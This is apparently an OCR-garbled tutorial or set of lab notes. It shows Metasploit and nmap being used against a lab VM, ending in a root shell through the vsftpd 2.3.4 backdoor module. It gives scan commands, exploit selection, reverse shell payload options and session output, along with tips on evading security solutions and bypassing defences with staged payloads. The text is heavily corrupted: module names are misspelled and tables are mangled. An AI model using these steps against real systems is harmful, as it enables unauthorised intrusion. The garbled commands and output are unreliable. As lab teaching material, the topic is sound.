	Total a Start Pactors SOL DR use packly wit someward to start the DR
I t	Metasploit Framework uses a PostgreSQL database to store and manage large amounts of information during a penetration test. And ever to keep track [khaja@kali-new)-[~]
<u> </u>	step 2: sudo msfconsole to start Metasploit If u don't want banner use -q flag Step 3: creating a workspace > A workspace is like a project folder inside Metasploit's database that stores all your data for a specific engagement or lab. Command: Workspace -a < name of the workspace > for creating a workspace msf6 > workspace -a cyber
1	[*] Added workspace: cyber [*] Workspace: cyber msf6 > Workspace -d <name of="" the="" workspace=""> > for deleting a workspace Workspace <name of="" the="" workspace=""> > selecting workspace Workspace > will show you which workspace is selected Step 4: search for any exploit, payload, auxiliary by using search command</name></name>
<u>]</u>	Syntax > search < keyword> > it will search that keyword in module Exploiting a service: Step 1: identifying available host in the network using Nmap scan Command > nmap -sN < network address/subnet> (khaja@kali-new)-[~]
	Host is up (0.00019s latency). MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC) Nmap scan report for 192.168.15.2 Host is up (0.00032s latency). MAC Address: 08:00:12:35:00 (QEMU virtual NIC) Nmap scan report for 192.168.15.3 Host is up (0.0002s latency). MAC Address: 08:00:27:F7:68:3E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.15.13 Host is up (0.00069s latency). MAC Address: 08:00:27:F7:68:3E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.15.12 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 2.50 seconds Step 2: identifying all open port
	Command > nmap -Pn -pv 192.168.15.13min-rate 10000 -Pn> don't send icmp request consider all the host are live. -p > for all port from 1 to 65535 -v > verbose (show more detailed output while the scan is running) min-rate > (at least 10,000 packets per second, making the scan very fast and aggressive.) doest scan like this in real world s nmap -Pn -pv 192.168.15.13min-rate 10000 Starting Nmap 7.945VN (https://nmap.org) at 2025-07-11 02:55 IST Initiating ARP Ping Scan at 02:55 Scanning 192.168.15.13 [1 port] Completed ARP Ping Scan at 02:55, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 02:55 Completed Parallel DNS resolution of 1 host. at 02:55, 0.02s elapsed
	Initiating SYN Stealth Scan at 02:55 Scanning 192.168.15.13 [65535 ports] Discovered open port 111/tcp on 192.168.15.13 Discovered open port 22/tcp on 192.168.15.13 Discovered open port 23/tcp on 192.168.15.13 Discovered open port 319/tcp on 192.168.15.13 Discovered open port 5900/tcp on 192.168.15.13 Discovered open port 80/tcp on 192.168.15.13 Discovered open port 80/tcp on 192.168.15.13 Discovered open port 445/tcp on 192.168.15.13 Discovered open port 21/tcp on 192.168.15.13 Discovered open port 21/tcp on 192.168.15.13 Discovered open port 55/tcp on 192.168.15.13 Discovered open port 55/tcp on 192.168.15.13 Discovered open port 5154/tcp on 192.168.15.13 Discovered open port 68180/tcp on 192.168.15.13 Discovered open port 513/tcp on 192.168.15.13 Discovered open port 513/tcp on 192.168.15.13 Discovered open port 46551/tcp on 192.168.15.13 Discovered open port 46751/tcp on 192.168.15.13 Discovered open port 43776/tcp on 192.168.15.13 Discovered open port 6697/tcp on 192.168.15.13 Discovered open port 512/tcp on 192.168.15.13 Discovered open port 512/tcp on 192.168.15.13 Discovered open port 6697/tcp on 192.168.15.13 Discovered open port 512/tcp on 192.168.15.13
\$	Discovered open port 37881/tcp on 192.168.15.13 Discovered open port 3632/tcp on 192.168.15.13 Discovered open port 2049/tcp on 192.168.15.13 Discovered open port 8787/tcp on 192.168.15.13 Discovered open port 8009/tcp on 192.168.15.13 Discovered open port 5432/tcp on 192.168.15.13 Discovered open port 5432/tcp on 192.168.15.13 Discovered open port 514/tcp on 192.168.15.13 Step 3: identifying the vulnerable service running Command> nmap -p111,21,22,139 Etc -sV <ip address=""> (this method is safer in real world for evading security solutions) But for lab scenarios we can use> nmap -pA <ip> nmap -pA <ip> nmap -pA < p > 0 </ip></ip></ip>
1	-p > for all port -A > aggressive scan include (-O -sV -sC) Nmap -pA -v 192.168.15.13 -oA metasploit/result tee -\$ nmap -pA -v 192.168.15.13 -oA metasploit/result tee Starting Nmap 7.945VN (https://nmap.org) at 2025-07-11 03:12 IST NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 03:12, 0.00s elapsed Initiating ARP Ping Scan at 03:12 Scanning 192.168.15.13 [1 port] Scanning 192.168.15.13 [1 port] Scanning 192.168.15.13 [1 port] Scanning 192.168.15.13 [1 port]
	Initiating Parallel DMS resolution of 1 host. at 03:12 Completed Parallel DMS resolution of 1 host. at 03:12, 0.02s elapsed Initiating SYN Stealth Scan at 03:12 Scanning 192.168.15.13 [65335 ports] Discovered open port 111/tcp on 192.168.15.13 Discovered open port 445/tcp on 192.168.15.13 Discovered open port 25/tcp on 192.168.15.13 Discovered open port 25/tcp on 192.168.15.13 Discovered open port 27/tcp on 192.168.15.13 Discovered open port 21/tcp on 192.168.15.13 Discovered open port 21/tcp on 192.168.15.13 Discovered open port 3306/tcp on 192.168.15.13 Discovered open port 80/tcp on 192.168.15.13 Discovered open port 80/tcp on 192.168.15.13 Discovered open port 139/tcp on 192.168.15.13 Discovered open port 53/tcp on 192.168.15.13 Discovered open port 53/tcp on 192.168.15.13 Discovered open port 43776/tcp on 192.168.15.13 Discovered open port 27/tcp on 192.168.15.13 Discovered open port 27/tcp on 192.168.15.13 Discovered open port 27/tcp on 192.168.15.13 Discovered open port 80/tcp on 192.168.15.13
	Saving the result in result files Tee is used to save the output and Displays the output live in the terminal Note: we can import Nmap scanning result in Metasploit Step 4: Integrating Nmap result in Metasploit Settup the metasploit by looking the above steps Then import the result file of nmap in metasploit using> db_import "filename.xml"
	<pre>\$ msfconsole -q msf6 > db_status [*] Connected to msf. Connection type: postgresql. msf6 > cd metasploit/ msf6 > db_import result.xml [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Nokogiri v1.13.10' [*] Importing host 192.168.15.13 [*] Successfully imported /home/khaja/metasploit/result.xml msf6 ></pre>
	address mac name os_name os_stavor os_sp purpose info comments 192.168.15.13 08:00:27:f7:6b:3e Linux 2.6.X server To see all services in nmap result which we have imported search the keyword "services": maf6 > services services host port proto name state info 102.168.15.13 22 tcp ftp open vsftrd 2.3.4 102.168.15.13 22 tcp sup open proto name open linux telered linux telere
	192,168,15:13 512 to exec open open open 192,168,15:13 514 to to townspan open 192,168,15:13 1524 to to townspan open 192,168,15:13 1524 to to townspan open 192,168,15:13 1524 to to ftp open 192,168,15:13 2021 to ftp open 192,168,15:13 2021 to ftp open 192,168,15:13 3021 to ftp open 192,168,15:13 1622 to ftp open 192,168,15:13 1622 to ftp open 192,168,15:13 1623 to ftp open 192,168,15:13 6000 to x11 open 192,168,15:13 6000 to x11 open 192,168,15:13 6000 to x11 open 192,168,15:13 8000 to x11 open 192,1
\ \ !	We have to find it manually which resources like exploitDB, GitHub, searchploit (cli of exploitDB) Using searchploit: Syntax > searchsploit < service version> Example: finding the exploit of the first service in nmap result which is vsftp 2.3.4 searchsploit vsftp 2.3.4 Exploit Title Path Path
Į	Metasploit in brackets means that exploit is available in Metasploit and .rb is a ruby script Using exploitDB: ExploitDB (short for Exploit Database) is a public, open-source repository of known exploits and vulnerabilities EXPLOIT Verifier Has App V Filters V Reset Al Search V Filters V Fil
]	2011-07-05
] [Its telling there is a backdoor exploit for the vsftp service Ranking is important in our case it is excellent means it is highly exploitable Selecting the exploit: Use <name number="" or=""> msf6 > search vsftpd 2.3.4 Matching Modules # Name Disclosure Date Rank Check Description </name>
ו נ	Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor msf6 > use 0 **No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_226_backdoor) > Means In exploit module we have selected the exploit and there is not payload configure Reading the description about the exploit: Use show info: **Show info**: **New: VSFTPO v.2.4.8 Backdoor Command Execution **New: VSFTPO v.2.4.8 Backdoor Com
	Privileged: Yes License Metasploit Framework License (BSD) Baiclosed: 2011-07-03 Provided by: Mc - Kandmaico MC - McCambetasploit.com> Available targets Id Name Available targets Id Name Current Setting Required Description Basic options: Basic Options: Basic Current Setting Required Description Basic Current Setting Required Description BROSTS RERORTS BROSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit/basics/using-metasploit.ps: Space: 2009 Avaid: 0 Characters Description: This module exploits a malicious backdoor that was added to the VSFTPD download archive: This backdoor was introduced into the vsftpri-2.3.a.target sechive between June 38th 2011 and 3aly ist 2011 according to the most recent information June 38th 2011 and 3aly ist 2011 according to the most recent information
	Show option: what are the required options we have to give msf6 exploit(mix/ftp/vsftpd_236_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name
	RHOST means > remote host (the target ip address) RPORT means > remote port (we can change the port if we want) If Required is yes it means it is mandatory to fill Note: if is important to read about the exploit before launching it because we are responsible of our actions Setting the options: set RHOST < Target ip > Then show options to verify.
	<pre>msfe exploit(mix/ftp/vsftpd_334_backdoor) > set RHOST 192.168.15.13 RHOST ⇒ 192.168.15.13 Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name</pre>
(Checking payload in metasploit use > show payloads msfg > show payloads Payloads # Name
	s payload/android/Neterpreter/reverse_https Android Reverse HTMS Stager 7 payload/android/Meterpreter_reverse_http 8
5	# Name Disclosure Date Rank Check Description O payload/cmd/unix/interact . normal No Unix Command, Interact with Established Connection Note: we don't need to select if one single payload is there We want reverse shell payload for linux for that use: search payload/linux > to get all the linux payloads msife > search payload/linux Matching Modules # Name Disclosure Date Rank Check Description Disclosure Date Rank Check Description No Unix Command, Interact with Established Connection
	and the particle of the partic
	<pre>msf6 > search payload/linux/x64/shell_reverse_tcp matching Modules # Name</pre>
	The following is the reverse shell payload but we have staged and unstaged payload meaning: Staged: exploit → small loader (stage 1) → full payload (stage 2) Like: Send small loader → it downloads the full payload 1 stage will delivery and it will call the shell and rest payload will get delivered If the payload name has a slash /, it's staged. Staged payload are used for bypassing defensive solutions
	Unstaged: exploit → full payload in one shot Like: everything is delivered together immediately If it has an underscore _, it's unstaged. Note: certain exploit will support only selected payloads Step 7: launching
	We can launch it using run or exploit msf6 exploit(unix/ftp/vsfspd_234_backdoor) > run [*] 192.168.15.13:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.15.13:21 - USER: 331 Please specify the password. [*] 192.168.15.13:21 - Backdoor service has been spawned, handling [*] 192.168.15.13:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.15.12:33621 → 192.168.15.13:6200) at 2025-07-11 06:08:45 +0530 We got the root lvl access:
	<pre>msf6 exploit(mix/fsp/vsftpd_234_backdoor) > run [*] 192.168.15.13:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.15.13:21 - USER: 331 Please specify the password. [*] 192.168.15.13:21 - Backdoor service has been spawned, handling [*] 192.168.15.13:21 - UID: uid=0(root) gid=0(root) [*] found shell. [*] Command shell session 1 opened (192.168.15.12:33621 → 192.168.15.13:6200) at 2025-07-11 06:08:45 +0530 whoami root id uid=0(root) gid=0(root) ip a 1: lo: <loopback,up,lower_up> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00:00:00:00:00:00 inet 127.0.0.1/8 scope host valid_lft forever preferred_lft forever 2: etho: <sroadcast_multicast_up> mtu 1500 qdisc pfifo_fast glen 1000 link/ether 08:00:27:f7:60:3e brd ff:ff:ff:ff:ff: inet 192.168.15.13/2e brd 192.168.15.255 scope global eth0 inet6 fe80::a00:27ff:fef7:6b3e/64 scope link valid_lft forever preferred_lft forever</sroadcast_multicast_up></loopback,up,lower_up></pre>
1	Sessions: A session will be created after getting the access. To abort the current session ctrl +c and y whoami root id uid=0(root) gid=0(root) ip a 1: lo: <loopback,up,lower_up> mtu 16436 qdisc noqueue link/loopback 00:00:00:00 brd 00:00:00:00 inet 127.0.0.1/8 scope host valid_lft forever preferred_lft forever 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 08:00:27:f7:6b:3e brd ff:ff:ff:ff:ff: inet 192.168.15.13/26 brd 192.168.15.255 scope global eth0</broadcast,multicast,up,lower_up></loopback,up,lower_up>
	Selecting the background session or active session : session <session number=""> msf6 exploit(unix/ftp/vsftpu_zst_backdoor) > sessions -l Active sessions Id Name Type</session>
	<pre>msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l Active sessions No active sessions. msf6 exploit(unix/ftp/vsftpd_234_backdoor) > </pre>